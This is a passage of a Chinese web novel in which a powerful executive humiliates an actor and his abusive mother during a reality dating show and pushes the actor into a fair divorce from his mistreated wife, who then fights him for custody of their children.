许愿在圈子里多受欢迎?圈子里多少人求爱许愿都不一定看对方一眼,姜明烨为了许愿甚至想冲动的将主公司搬到帝城不也没能如愿?至今都只被阿愿当做是朋友吗? 怎么宋老太太就觉得她的儿子能入了阿愿的眼? 宋老太太被盛景炎这尖酸刻薄的话说愣了。 她儿子也没说许愿还有这么个未婚夫啊。 而且……而且她儿子哪里不好了,凭什么这么说她儿子! 宋老太太脸色阴沉下来,此刻死死盯着盛景炎。 “我儿子长得好还有钱,哪里配不上她?” 自己儿子自然是怎么看怎么好,容不得任何人说一句不是的。 盛景炎身上的嘲意愈发明显,仿佛在此刻化为实质,他歪着头看着面前的宋老太太,唇角掀起一抹明显的笑意。 “你儿子长得好还有钱?你姓宋也不姓王怎么就开始自夸了。” “阿愿图他什么?他的年纪也就比阿愿得父亲小几岁,图他年纪大,图他大男子主义,图他个子矮,图他爱钻营,图他矮拍马屁,图他有个不懂是非黑白的母亲,图他结了婚还在外面乱搞?” 盛景炎输出说出的话全都带着绝对的攻击性,没有给宋老太太留任何余地。 在他眼里宋明远的确就是个废物东西。 在某些人眼中宋明远是个香饽饽,但在盛景炎眼中他就是个废物。 旁人不知道宋明远怎么起家的,盛景炎却知道,早年娱乐圈资本横行,不管你是男是女都要被资本掌控,宋明远出道的那家公司的老板是出了名的荤素不忌,男女都爱,宋明远最初为了资源没少哄着那位这才迅速爆红,后来娱乐圈资本大洗牌,那位落马,宋明远也掌控了资本圈的人脉,一步步走到现在。 可宋明远干净吗? 他在剧组的某些事可不干净,剧组夫妻这种事宋明远可做的太多了,多少次拍戏带上自己在剧组看上的新人,原定的女主或者女二号不同意他的潜规则就会立刻被换成他的人。 也是后来跟林悠羽结婚后宋明远才老实了点,毕竟林悠羽是圈子里数一数二的美人。 可家花就是不如野花香,他就是喜欢偷吃,就算结了婚还是老样子,外面莺莺燕燕一大把。 盛景炎对娱乐圈那种你情我愿交换资源的人没什么意见,毕竟那是她们自己的身体,有时候身体容貌也是本钱之一,他们自己愿意是自己的自由,任何人不能道德绑架对方,只要不触犯法律且没有做三那就是他们的自由。 可宋明远却是对方不同意做剧组夫妻就会直接换人。 因为他已经成为了资本,他要换人导演也没有办法,只能由着他性子来。 所以盛景炎才说宋明远很脏。 现在看来,不怪宋明远会长成这样,原来是有个这么离谱的母亲啊,那一切倒是说得通了。 宋老太太被气的整张脸都变得扭曲起来,她也不觉得盛景炎长得好了,只觉得盛景炎实在是面目可憎。 “许愿那就是个女娃娃,我还没说许愿结过婚流过产呢!你们竟然还敢嫌弃我们明远!”宋老太太疾言厉色怒斥。 盛景炎听到这话眼睛眯起,盯紧宋老太太,倏地冷嘲一声,他浑身都是戾气。 他语调缓慢,嗓音冰寒:“我们就是嫌弃宋明远。” “老太太,我本不打算跟你儿子一般见识,但……你提什么不好一定要提到阿愿。” 盛景炎低笑一声,然后眼神一厉:“这档节目后,你的儿子不会再接到任何资源,我们可以等着看。” 宋老太太先是浑身发冷,像是被吓到了。 她愣了一会儿几乎是唇瓣都在颤抖然后愤怒道:“你胡说八道!你竟然敢咒我们明远!” 宋老太太破口大骂,什么脏的难听的都骂了出来。 许愿微微敛眉:“你就当着两个孩子的面说这些脏话?你不懂什么是言传身教?” “就是两个赔钱的女娃娃!我爱怎么说怎么说爱怎么骂!你管不着!呸!你们两个狐狸精!还敢瞧不起我儿子!”宋老太越骂越起劲。 许愿脸色愈发冷了,她抱着手臂瞥了眼隐匿在暗处的刑从景。 她的耐心已经耗干净了。 刑从景明白她的意思,已经让人扣住宋老太太。 “你们干什么!我要报警!你们竟然这么对我这个老太太!我要报警!导演!导演你人死哪里去了!” 这个点就不是录制节目的时间,宋玥已经歇下了,结果助理敲门说出大事了。 大晚上的能出什么大事啊,比白天那些乱七八糟的还麻烦吗?这不是扯呢? 宋玥有点烦躁的开门,结果就听到助理说宋明远的母亲去找了许愿,对许愿和盛景炎破口大骂出言侮辱。 疯了吗! 不是?怎么就有这么拎不清的老太太啊!知道许愿什么身份吗!那是她好不容易求来的祖宗啊!得罪谁不好得罪他祖宗! 宋玥气急败坏:“愣着干什么!赶紧去把宋明远喊起来啊!他母亲都来了他人在哪里呢!让他赶紧过来!真要出了事惹了许愿和盛景炎他也不用再圈子里继续混了!” 许愿那是什么身份啊! 网络上那群污蔑许愿的辱骂许愿的,被许愿解决的那群人去哪里了?进去了! 她如果不计较还好,真要计较起来,全都完蛋! 宋玥着急忙慌让人去找宋明远,许愿这边却抱着手臂,笑吟吟的看着宋老太太撒泼,可眼底的凉意十分明显。 “老太太,你懂法吗。”许愿问她。 宋老太太当然不懂,只知道撒泼打滚。 许愿微笑:“我看你也不像是懂法的样子。” “你来见我之前难道没有查过我是什么身份吗?我不只是盛世的总裁,我还是一位受国家保护的科研人员,你可以理解为我的受保护程度比之院士更高。” “知道侮辱诽谤辱骂院士会是什么罪吗。” “侵害英雄烈士名誉、荣誉罪,如果被辱骂的院士属于英雄烈士,情节严重的,可以处3年以下有期徒刑、拘役、管制或者剥夺政治权利。” “你想进去吗?” “如果你想的话,我可以直接送你进去。”许愿看着宋老太太,说出的话自带凉意。 第885章 跟我比钱比身份? 宋老太太被她此刻冰冷的眼神看的不停吞咽口水,直到现在许愿提到法律,宋老太太才真的慌了。 许愿见她慌了,才轻笑开口:“你不是要报警吗,你面前这位就是可以管理国内所有警员的一级督查,所以你明白我的意思了吗。” 再蠢也该知道许愿的身份不一般。 什么人身边能跟着警员保护?还是总管所有警员的一级督查,放到几十年前……大领导都不一定有这个待遇! 你要说许愿有钱,宋老太太可能还不明白许愿到底多有钱,在她看来许愿是个女人,女人再有钱等嫁了人那钱都会是丈夫的。所以只说有钱,宋老太太根本不会明白许愿所处的阶级。 但要说身边配备警员,甚至是刑从景这种级别的,宋老太太立刻就明白许愿的身份了。 宋老太太脸色整个白透了,望着许愿的眼神里面全都是惊恐。 许愿面上还是带着笑,但此刻宋老太太再不敢小看许愿,甚至因为她此刻的笑觉得毛骨悚然。 “我……我不知道……” 宋老太太支支吾吾,话都说不清楚了。 宋老太太此刻想的可太多了,毕竟是那个混乱年代过来的人,只觉得这么得罪许愿,那是不是要吃枪子啊,那岂不是一切都完了! …… 宋明远在房内等着自己母亲一直没睡,林悠羽却根本不在意老太太来不来,反正老太太不喜欢她,也不在意是不是能看到她,就算真的看到她可大概也只会找茬,根本说不出一句好话。 既然这样,林悠羽直接就睡了,想接老太太那就宋明远自己去接。 宋明远没能等到老太太,却等来了剧组副导演敲门的声音,“咚咚咚”的,出了大事一般催命似的敲着木门。 宋明远被这声音吓得一激灵,还当出了什么大事,赶紧去开门。 “宋老师!你没告诉你母亲许总的身份吗!怎么还能让宋女士去找许总胡说八道啊!你这……你是真要完了!” 副导演整个人急的脸都通红。 宋明远整个人都傻在原地。 什么意思?怎么回事儿? 他母亲来了?不仅来了还去找许愿了?他不是都说了许愿不是他们这种小人物能招惹的吗!为什么不听呢! 他其实不懂宋老太太这种人的心理,宋老太太是觉得自己的儿子哪里都好,而女娃娃再好也要低人一等。 宋明远说了许愿那么多有点,老太太听在耳朵里就是自己儿子喜欢许愿,许愿有钱有权,老太太更觉得是自己儿子的助力。 说白了就是看上了许愿背后的东西,想强占许愿的资产。 “别愣着了!赶紧去接宋女士吧!”副导演赶紧拽着宋明远,顺道还不忘记提醒他:“宋女士骂的特别难听,盛总全都听到了,盛总原话就是等节目录制完成后你不会有任何其他的资源了!” 宋明远因为这话一个没站稳差点栽到地上。 他母亲真是……真是祖宗,这是要来害死他啊! 宋明远暗自咬牙,眼睛都跟着红了,完全是被气得。 宋明远匆忙赶过去的时候就看到宋老太太被人扣在地上,连手铐都戴上了。 他觉得都快要患上心脏病了,心脏一咯噔咯噔的。 许愿身边跟着的人他见过,一眼看过去就知道身份不凡,当初论坛还有人扒过许愿身边跟着的那位的身份,最后扒出的职位让所有人都心尖发颤,最后帖子被删除了。 如果帖子没删除还好说,可是帖子直接删除了,这不正说准了刑从景的身份。 所以录制节目的时候宋明远根本不敢跟许愿直接对上,只是想抱大腿,哪里想到自己的母亲一来就把他想抱的大腿得罪了! 他这是水逆吗!怎么偏偏就遇到这么个烂事儿! 带儿子来录制节目结果骂声一片! 让母亲来接儿子走结果母亲得罪了许愿! 一桩桩一件件的没有个好事儿!他都想回去烧香拜佛封建迷信了!不然怎么现在就这么衰! 宋明远看到宋老太太被扣着的一瞬间不是心疼,而是觉得“完了”。 宋明远咬牙走过去,面上还带着点勉强的讨好笑意的对着许愿。 “许总……我妈就是个乡下农村妇女,没什么见识,她就算真的说了什么难听话,我这边替她道歉,请许总一定不要往心里去啊……” 宋明远干笑着,声音里面带着明显的恳求之意。 农村的夜色比大城市要黑很多,还能听到虫鸣声。 盛景炎最是在意许愿的感受,担心她站久了辛苦劳累,特地搬了软椅让她坐。 此刻许愿就坐在软椅上看手机,宋明远不知道许愿在看什么,但不妨碍他赶紧道歉。 农村的别墅院落内也安置了灯,不过并不是特别亮的灯,只是一盏小灯,发出昏黄的光亮。 昏黄的灯光照在她身上,并不很明显,她低垂着头,像是拢在阴影中,目光是冷的,笑意是冷的。 她微微抬头,一手撑着自己的下巴,目光落在宋明远的脸上。 他战战兢兢的,试探的对上她漆黑的目光,然后憨笑一声,明显的恳求。 许愿的眼睛很漂亮,乌黑透亮,目光流转间像是无价的宝石,但此刻却氤氲着凉意,像是宝石眼底的宝石都沉浸在一片寒冷之中,泛着冷意。 宋明远舔了舔唇瓣,赔笑:“许总,我母亲她就是老思想,她没有什么恶意就是嘴上说话不过脑子,我代我母亲道歉,算我求徐总……” 节目组的人都看着呢,可即便如此宋明远也必须低头去求。 许愿眼眸微动。 “你知道吗,其实我答应来录制这档恋综的时候,只是单纯的想要公费恋爱旅游。” “我想轻轻松松的跟我爱人在节目中约会,可你们宋家总是要把一切都搞砸。” “你也好,你的儿子还有你的母亲,你们一家在我看来都是坏种。” “你是你们宋家的传递香火的男性,所以你的母亲骄傲得意,她养大你的这些年没少在你面前夸赞你贬低其他人吧,可你是个什么东西,内里多少脏污你自己心里最清楚。” “你的儿子呢,也跟你的母亲一样,骄傲自满,自大任性,自以为有钱就可以摆平一切。” “用钱用身份来压人?” “跟我比钱比身份?你拿什么比。” 第886章 你想离婚吗 许愿讥嘲的看着他们母子二人:“你连我的助理的下属都比不过,你拿什么比。” 许愿的助理现在是沈略这样的人,沈略的下属也是绝对的业内精英,他们若是想封杀宋明远也不过动动嘴的事。 旁的人看着电视嘲讽几句不过是戏子,那可能是因为嫉妒因为羡慕,所以才会口出狂言瞧不上这个瞧不上那个,事实上若是他们能去当艺人演员他们也会第一个进圈,那种人是典型的吃不到葡萄说葡萄酸的类型。 可许愿不同。 许愿对宋明远说不过是戏子,那就是单纯的看不上他瞧不起他。 对许愿来说,娱乐圈只是小儿科。 她已经站在顶端了,有人说娱乐圈来钱快,可真的到达许愿这一高度就知道娱乐圈不过是过家家一样幼稚可笑。 她当然对那些真正的演员艺人没有意见,因为对那些人来说是艺术,是对自己梦想的追求,因为他们才能让枯燥的生活有了色彩。 但宋明远这类的人,不论是在娱乐圈还是在其他圈层都是十足的败类。 许愿觉得他恶心,甚至不想跟他有任何关联。 他的母亲这么喜欢比钱比权势,可真要比起来,许愿就是拿美金拿英镑都能砸死他们。 只能用“不自量力”来回敬这对母子。 宋明远额头冷汗直冒,宋老太太听这些话当然心里不舒爽,但她现在已经彻底明白了许愿的身份,他不敢再做其他的回应,只能继续干笑,因为怕许愿还没说完。 许愿看着宋明远,仿佛透过他那虚伪的面皮彻底看透了他污浊的灵魂。 “我来录制节目你却一直在道歉,你也只是遇到了我所以才能违心的认识到你自己的错误,如果换成是其他人,现在已经被你打压针对了,对吗。” 许愿眸光晦暗的看着宋明远,眼底的嘲意愈发明显。 宋明远想反驳一句,可许愿说的一点错没有,确实是这样的。 他们全家都是看人下菜碟的人……哦,林悠羽和两个女儿不算,因为压根没被宋老太太看作是宋家人。 “知道吗,我最厌恶的就是你这种男人,肮脏自大。” “我在看到你的第一眼就觉得恶心,你想讨好我你以为我看不出来吗?” “无非是觉得我给了周鹤瑾那些资源,所以认为讨好我我就能给你同等的资源在娱乐圈内帮你,挺可笑的。” “你竟然认为你能跟周鹤瑾比。”许愿看着宋明远讽道:“周鹤瑾因为拒绝潜规则跳车逃跑的时候你已经主动爬上了你们老板的床,周鹤瑾为了粉丝得罪资本的时候你却为了资本背叛自己的粉丝,周鹤瑾婚后专注照顾家庭而你却在到处约会情人……你说,你拿什么跟周鹤瑾比?” “你当我不知道你背地里做的那些脏事吗,我不说是因为我觉得恶心,你却还要一定到我面前来现眼,你觉得你很优秀很帅气吗?你知不知道你挤到我面前的时候肚子上的肉都漫出来了。” “又老又丑又渣说的就是你。都这样了,怎么还能如此自信的认为我能瞧上你给你资源?” 许愿开口的话实在是过于尖利刺耳,扯开了宋明远的遮羞布,将他的自尊碾压在地上摩擦,将他伪装的一切都撕碎。 什么娱乐圈老好人,就是个渣男。 “我本来不打算理会你,毕竟娱乐圈是大染缸这谁都知道,所以你脏你的,与我无关,只要不舞到我面前我根本不会理你。” “可你的母亲怎么就偏要招惹我?怎么?你们宋家这么多年都没碰到过硬茬不知道好歹吗。” 许愿的意思已经很明显了。 最初她就只是想参加个节目,至于对方的私生活如何与她无关,她都可以做到无视宋明远的程度。 可偏偏宋明远一定要贴上来,他的母亲也要凑上来现眼。 两人真是愚蠢又可笑。 剧组的人都因为宋明远母亲胡闹的事情大晚上的起来看热闹,大家都被宋明远和他那熊儿子折腾到了,现在对他都没有好感,这会儿许愿这么嘲讽他们全都当乐子看,毕竟他们再讨厌宋明远也不敢真的当面怼。 宋明远面上的表情十分勉强,许愿却抬眸余光看到门口站了片刻的林悠羽。 许愿突然笑了。 “你出轨的事林悠羽知道吗。”她问的很认真。 宋明远脸又僵了几分。 林悠羽知道吗?当然知道。 可因为结婚前签署了婚前协议,所以林悠羽只能忍气吞声。 宋明远干笑着,像是想要躲避许愿这个问题,想避而不答。 许愿那么聪明,怎么可能看不出来。 她又笑了:“原来林悠羽知道你出轨的事啊。” 宋明远几乎无地自容。 往常他觉得自己有情人是很值得炫耀的事情,可现在被许愿开口提到这事儿,脸都涨红了,宋老太太也是摆着脸瞪着眼睛,虽然怕许愿,但看她那表情,明显觉得许愿不该管这事儿。 “林悠羽为什么不离婚呢?” “她年轻漂亮又是当红的流量女星,为什么要忍气吞声呢?” 许愿看似苦恼的想了下,掀唇开口问道:“真是好明显的答案呢,你们签署了婚前协议对吗?无非是她提离婚就必须净身出户还不能带走孩子……对吗。” 宋明远表情更僵了。 他其实觉得自己这么做是没有问题的。 因为林悠羽是靠着他才火起来的,如果不是他,林悠羽还只是个嫩模,根本不会火到这种程度。 但许愿问了,他也只能憋着这话干笑。 “你这样心不甘情不愿的,是觉得林悠羽靠你红的?”许愿嘲讽:“宋明远,你为什么肯帮林悠羽你自己心里最清楚。” “你想求娶她,所以才用那些资源诱哄她,你一个老狐狸一样的男人什么不懂,你们这段婚姻说白了就是你用资源和虚情假意交换来的,你不要告诉我你真的有多喜欢林悠羽,你这样的人只会自私的爱你自己。” “你娶林悠羽无非是因为她背后没有人,且愚蠢好骗的同时还足够漂亮,身高也能弥补你身高的不足,你娶她不过是为了改善下一代基因。” 第887章 我像是喜欢开玩笑的人吗 “她为你们宋家生了三个孩子……难道还不够吗。”许愿嗓音冰冷的开口。 宋明远僵硬的扯了扯唇角,他不明白许愿为什么提到这些。 下一秒许愿又缓缓道:“林悠羽,如果我说我肯帮你让你们离婚,你肯离婚吗。” 宋明远整个人怔住。 林悠羽来了?什么时候来的? 宋明远赶紧转身去看,却见林悠羽站在别墅门口,表情黯然的望着他,但是再听到许愿的话后眼睛微微亮了起来。 “许总说的是真的吗,真的可以帮我跟宋明远离婚吗。”林悠羽开口询问,态度诚恳。 宋明远震惊的看向林悠羽,死死盯着她,像是不敢相信林悠羽竟然真的敢提离婚这件事。 “林悠羽你……”宋明远似乎是忍不住了,面对许愿他可以低声下气,可林悠羽又凭什么?林悠羽就是靠着自己才能有的今天,现在林悠羽想要抛掉跟自己的过去,打算离婚?哪有这样的好事! 本来外面那群人就在传他们两个人婚姻生活不够幸福,这次来参加节目就是为了澄清和洗白的,可现在这又算什么?没能洗白成功,真的要背逼离婚? 宋明远完全可以想象得到他们离婚后外面要有多少风言风语! 许愿为什么非要掺和他们夫妻之间的事! 林悠羽像是没听到宋明远的声音,目光还落在许愿身上,似是等着许愿的回应。 许愿回望林悠羽,其实第一天参与节目录制的时候她就仔细观察过林悠羽,她是漂亮的,是那种很精致的优雅的漂亮,她那时不能理解林悠羽是怎么看上宋明远甚至同意宋明远求婚的。 其实女人最能看出同性在婚姻中是否幸福的。 林悠羽的婚姻生活就不幸福。 宋明远不爱林悠羽,甚至有一种将林悠羽当做炫耀的资本。 许愿本不打算管他们夫妻二人的事,毕竟她也觉得自己管太多了很招人烦,宋明远和林悠羽之间再如何那也跟她这个外人没有关系。 但宋明远就是一而再再而三的刷新她的底线,甚至他的母亲也来了一遭,彻底惹恼了她。 她是不喜欢多管闲事,但这次算是对宋明远的一种报复。 许愿回望林悠羽,她还是笑着的。 “当然,我会帮你。” “如果宋明远肯公平离婚,那或许用不到我,但如果宋明远还是打算让你净身出户,那也没关系,你净身出户我可以给你资源,你演技不好我就给你综艺资源,我也可以将盛世的律师团队借给你,将宋家那些烂事公之于众,宋明远不嫌丢人的话他大可以继续逼着你净身出户。看看是那半数财产重要还是往后的名声重要。” “孰轻孰重他自己清楚,真的坏了口碑那就是一辈子的事,以后他都不会有好资源,甚至可能被封杀,那他抢来的那些资产就是他未来所有的资产。” 许愿这话的意思太过明显了。 她无条件完全的支持林悠羽离婚。 宋明远有良心肯分给他半数资产,那许愿不会对付他,更不会对他出手,但若是宋明远还按照婚前协议,那许愿就会为林悠羽提供法律援助,甚至会给她大把大把的资源,而宋明远则会遭到圈内封杀。 别的人说这话,宋明远可能会嘲一句觉得对方实在说大话,但现在说这话的是许愿。 许愿想封杀一个人确实只是动动嘴的事。 她想要捧一个人更简单,看看周鹤瑾再看看温栩栩。 宋明远的脸色难看到几乎苍白的地步,若是没有许愿掺和进来,他跟林悠羽的婚姻生活如何那都是她说了算的,可现在许愿掺进来了,那一切就都不好解决了。 宋明远这一刻甚至于恨上了给自己找麻烦的母亲。 找谁不好非要找许愿。 许愿是能随便惹的人吗?怎么就拎不清呢! 宋明远看着许愿,脸上的僵硬笑意还挂着,几秒后才干笑一声:“许总……您没有在开玩笑吗。” 许愿歪头看他,扯了扯唇:“你看我像是喜欢开玩笑的人吗。” 不,一点也不像。 宋明远的心整个凉了半截。 他吞咽着口水,一时说不出话,像是在纠结深思。 男人是这样的喜欢权衡利弊,任何事情都希望能够利益最大化,不能容忍自己吃一丁点的亏,宋明远就是如此。 继续按照婚前协议那样的分财产,许愿是会针对他的,盛世的律师团队不是开玩笑的,他请的律师绝对比不上那律师团,最后只能是被碾压针对的份儿。 许愿知道自己这么多黑料到那时就全部都是证据,如果曝光,这么多年的好口碑好名声全部都会被毁掉。 他会被彻底封杀。 可如果不按照婚前协议那样分财产,他就不能让林悠羽净身出户,甚至还要分她一半财产,分林悠羽财产简直比割他身上的肉还让他难受。 他本来早就想好了,林悠羽可以提离婚,但净身出户那什么都不能拿走。 他早前在网络上炫耀过自己多宠爱林悠羽,为林悠羽买名牌包包,买千万的原石,玉石,那些都不能拿走。 他当时就是为了稳固自己的人设,另一方面那些原石玉石不会贬值,以后拍卖还能赚一笔,所以他才会这么大方。 可现在……那些东西怕是真的要归了林悠羽,他只是想一想就觉得心在滴血。 宋明远还在思考,越想越伤神难过,脸都有些揪起来。 许愿看着他这副模样,她低头看了下时间,他已经这样思考了大概五六分钟了。 许愿没那么多耐心等他想这些。 “宋明远,你可以等回去后慢慢想。” “不过有件事我还是忘了提,如果你同意正常走离婚程序,我这边也会放过你的母亲,但如果你选择了婚前协议,你的母亲……也只能进去待一段时间了。” 宋明远听得出来这是许愿的威胁。 宋老太太听了这话整个人身体发抖,赶紧扑到宋明远面前。 “儿子!儿子!妈不要进去!你走正常离婚程序!你不能让妈进去啊!” 宋明远都还没考虑好要如何选择,宋老太太就已经慌了怕了。 她真的怕自己的儿子为了利益放弃自己! 第888章 他本质就是个自私鬼 许愿还是那副散漫模样看着宋老太太逼着宋明远做选择。 宋明远一瞻前顾后,最后还是咬了咬牙选择了正常走离婚程序。 他虽然心疼那些资产,但也清楚如果自己被封杀那才是没有以后,只要能继续在圈子里待着,那些钱他还能继续赚回来。 而且最重要的是自己的母亲可不好解决,母亲真要闹起来,他绝对镇压不住,只能随了母亲的意。 宋明远一脸牙疼的说明了自己最终的选择。 许愿眼眸深了几分,但她却什么都没说,眼底仍然带着几分浅淡的笑意,也不知是真的在笑还是在嘲讽。 “这节目说是‘爱人的浪漫旅行’,怎么我觉得像是‘再见爱人’?” 许愿这样调侃的话,就连宋玥都觉得无语。 宋明远已经带着自己的母亲和林悠羽走了,离开的时候还听到节目组里面的人在小声的议论碎碎念。 “真没想到宋老师竟然是个人渣啊,我只听人说过宋老师私生活很乱,但都说他人很好就真的信了,没想到是衣冠禽兽。” “他玩得开那是圈子里的人都知道的事儿,只是没想到他这么狠,跟林悠羽结婚还签署婚前协议让人净身出户,真他妈狠啊。” “呸,人渣。” “看他儿子什么样就知道宋明远什么样了,能是什么好人。” 宋明远听着这些人的议论,脸色是阴沉的,回到分配给他的土房子,关上门脸色瞬间拉下去。 宋老太太一看房门被关上了,也顾不得心疼自己儿子住着破房子,此刻整个人扑向林悠羽伸出手想要撕烂她那张脸。 “贱人!你这个贱人!我早就看出来你不是个好东西,你竟然想抢我儿子的资产!那是我儿子赚来的!” 宋老太太怒目而视的冲过去。 宋云和宋雨惊呆了,缩在角落里不敢吱声。 林悠羽在她冲过来之前动也不动,只是脸色冰冷道:“你敢动手我就敢去找许总。” “许总是什么人,你应该也看出来了,她现在很关注我。”林悠羽嘲道:“宋明远,你应该最清楚许总多偏心女性。” 宋明远被这话噎住了。 许愿的心都偏到女的身上了,现在不仅是关注林悠羽,还盯着他母亲呢! 就像林悠羽说的,他母亲现在敢动林悠羽,许愿就敢动他! “妈!你能不能不要再闹了!你知不知道你给我添了多少麻烦!”宋明远愤怒的冲她喊。 宋老太太本来就因为许愿而停住了动作,现在听到自己儿子这样的语气训斥自己,脸色都有些微变了。 “你好端端的到了节目组为什么不去见我非要去找许愿!” “我打电话让你过来接宋修浩,你去见许愿干什么!我在电话里没有跟你说许愿什么身份吗!为什么就一定要做蠢事呢!” “我想利用许愿多捞点资源,你直接把她得罪到底了!” “你为什么就一定要给我添这些麻烦!” “小浩被你养成熊孩子,许愿被你得罪到底,我好好的家庭也因为你要分崩离析!你满意了!” 宋明远本质上就是个自私鬼,任何事都不会觉得是自己的错,哪怕跟自己母亲关系好,该推锅的时候也是毫不留情。 宋老太太惊讶又有些不知所措,好半晌才有些慌乱的支支吾吾片刻。 “明远,妈没想给你添麻烦,妈想让许愿嫁给你,这样以后许愿的资产就都是你的了,妈是为了你好。” 出发的方向肯定是好的,绝对为了宋明远着想,但最后的结果歪到太平洋了。 “为我好?你如果真的为我好就不该做这些蠢事!” “你怎么能说出这种蠢话,我是什么东西我去配许愿?我给许愿提鞋都不配,我敢去勾搭许愿,刑从景下一秒就能给我一枪子!你是要害死我啊!” “许愿身份摆在那里,跟她结婚那是要通过上面审核的!” “我还跟林悠羽是夫妻关系,我外面有情人你不是不知道,我这样还敢攀附许愿,我还要不要命了!” 宋明远几乎要被自己的母亲逼到崩溃了。 他最多也就是幻想了下自己能娶许愿然后一路开挂,那是幻想,是做白日梦! 他现实中最多也就只是想抱许愿大腿讨点资源!他哪里来的脸娶许愿! “妈,算我求你了,你这次带着小浩回去后能不能少管我的事,否则你一定会害死我的!” 宋明远咬牙道:“副导演都跟我说了,盛总当时说节目过后打算封杀我,就因为你说的那些话,你知不知道如果不是许愿轻拿轻放,你儿子我就没以后了!” “你到底懂不懂我跟他们之间差着多少层阶级!就像你那个混乱年代你和大领导之间的距离!你懂了吗!” 他觉得自己不跟母亲解释清楚,对方以后还要做出蠢事来现眼。 宋老太太心慌连连称自己以后绝对不会再做多余的事。 宋明远还是那副冷脸的模样,却不想跟自己母亲说更多。 他带着宋老太太去了宋修浩的房间,那么大动静,宋修浩愣是没有醒过来。 两个女儿还在角落呆呆的看着,像是早就被吓傻了。 林悠羽带着两个孩子洗了把脸,打算带着孩子们休息,宋明远阴沉着一张脸盯着她,却是一言不发,等她带孩子们洗漱后宋明远才开口:“你真是好算计,趁着我不注意抱上了许愿的大腿。” “从看到许愿那一刻你就开始算计着离开我了对不对。” 宋明远盯着她语气冰冷透着厌恶。 以前看林悠羽只觉得她实在是漂亮,现在再看林悠羽,却只觉面目可憎。 林悠羽面色平静,她跟结婚前相比实在成熟很多。 “宋明远,你总是喜欢用最肮脏最恶心的心思去想其他人。” “可我和你不一样,我没想过利用许愿达成什么不可告人的目的。” “她今天对你说的那些还不够吗,一切都是你和你母亲咎由自取,是你们惹了她的厌恶。” “她帮我只是顺便,真实原因是想报复你们母子,你难道真的看不明白吗。” 第889章 太贪心了 许愿是偏心女性,但她不是那种喜欢插手进其他人婚姻生活的人,否则许愿就该在昨天主动提起这些,可她没有问没有提。 许愿现在做这些,就是在报复宋老太太和宋明远。 因为这件事,母子两人之间也有了隔阂,以前宋明远无条件服从宋老太太的命令,可现在的宋明远不光不会服从老太太的命令,甚至还会怪罪她。 许愿太清楚宋明远这人在意什么,在意钱财,在意名声,在意口碑。 她就是故意用名声和口碑逼着他同意跟她离婚,甚至还要他大出血的付出一半资产。 这就是许愿的报复。 宋明远心里清楚林悠羽说的是对的,可他会克制不住自己的怒意将一切都发泄到林悠羽身上,认为一切都是她的错,他只是想找个发泄口罢了。 宋明远眸光深沉,好半晌才再度开口:“这样我们算是和平离婚,钱财可以对半分,那孩子呢。” 话落,宋明远目光落到角落两个女儿身上。 林悠羽抿唇:“孩子归我。” 宋明远嗤笑一声:“你在做什么梦,全归你?凭什么?” 他虽然不喜欢两个女儿,但不得不承认两个女儿相貌随了林悠羽,长得实在漂亮,他都打算好了,培养两个女儿提前入圈当童星赚钱敛财。 不喜欢是一回事,但不放手又是另一回事。 “林悠羽,做人不要太贪心。” 宋明远点了根烟,毫不在意房间内的是自己的老婆孩子,他抽着烟呼出口气一脸沧桑道:“你心里清楚,如果不是我,你不可能有今天,你是靠我才成了圈子里的顶流,就算是做交换,我给你的这一切换这三个孩子,不亏吧。” “就当是我借你的肚皮和基因让你为我生了三个孩子,那我给你的也够多了,我就算找人替我生,也花不了这么多钱,是你赚了。” 他还在因为要分林悠羽财产的事郁闷烦躁。 林悠羽眼神冰冷:“我不想跟你谈这些,如果你想谈,好啊,不如你去跟许总谈,我想我可以找盛世借律师团队,看最后孩子归谁。” 她也学聪明了,知道许愿能完全压制宋明远。 往常宋明远高高在上看不起她,可到了许愿面前也不过只是个不起眼的小虾米。 许愿既然肯帮她,那她也不能太掉链子,有些事决不能退缩。 “你拿许愿压我?”宋明远更烦躁了。 “对,我在拿许愿压制你。”林悠羽嘲讽。 “你婚内出轨,情人遍地,你的母亲也是个恶人,让孩子在这样的家庭生活,我担心孩子会有心理阴影,就算是上法庭我也绝对不会输。” “我有工作,离婚后能分到房子和钱,足够我养活我的孩子,所以就算没有盛世的律师团,最后孩子也会判给我。” “只要我说明你曾经胡来,孩子必定是我的。” 她学会了许愿那招,威胁。 宋明远看重脸面名声,可她说的这话就像是把他的自尊踩到地上,林悠羽的意思很明显,他不退让那就要上法庭把他出轨的事情说出去。 妈的。 宋明远咬牙恶狠狠的瞪着她。 “林悠羽,你真要这么狠!” “不是我狠,是你们宋家根本不会好好照顾孩子!”林悠羽怒斥反驳 “小云小雨被你母亲苛待,小浩被你母亲骄纵养成这样人人厌恶的模样,如果还让他们留在宋家,他们还能有什么未来!” 这话让宋明远眼皮直跳。 “什么意思?你不仅要两个女儿,就连小浩你也打算抢走!林悠羽你不要太贪心了!” 宋明远更恨了,他觉得此刻简直是已经疯了,不然怎么能说这种糊涂话! “孩子跟我有什么不好?你母亲怎么教小浩的你也看到了,许愿说的那些话你也都清楚,小浩继续跟着你母亲只会被教养的越来越歪。” “让我带着小浩我不会这样溺爱他,以后孩子长大了还是一样会孝顺你,未来长大结婚他的孩子也会姓宋,这样还不够吗。” “你有那么多情人,其实想给你生孩子的人应该有很多不是吗?你为什么一定要揪着小浩不放。” “如果你不可能退让,那我只能邀请盛世的律师跟你对峙了。” 林悠羽很清楚,只要提到许愿提到盛世,宋明远再大的火也消了,不是不气了,是不敢再气。 “行,林悠羽,算你狠,我就当做是被毒蛇咬了一口。” 宋明远死盯着她暗暗开口:“两个赔钱的死丫头和一个被养坏的熊孩子,你想要你就要,我想要孩子,大把的人想给我生。” “这几天你最好收敛些,不要暴露我们两人的关系,否则我也不介意鱼死网破。”宋明远警告林悠羽。 林悠羽微微垂眸,眼底闪过一抹讥嘲。 她根本不想多理宋明远,但没有办法,她还要继续跟宋明远演戏。 如果她拍戏的时候也有这样的演技,也就不会一直被人诟病了吧。 林悠羽自我嘲讽。 她抱着自己的两个女儿睡觉,宋明远被气的睡不着,自己到土胚房的客厅沙发上坐着抽烟,一根又一根,根本停不下来的发愁。 说是大把人愿意给他生,可他自己心里清楚自己越来越力不从心,而且那东西到了年纪质量也不行了,这个年岁再生,孩子怕是体质也好不了。 宋明远发愁,林悠羽却带着两个女儿躺在床上。 大女儿宋云睁着眼睛抓着林悠羽的手:“妈妈,你真的要跟爸爸离婚吗。” 林悠羽点头:“对,我们离婚后我会带你们走。” 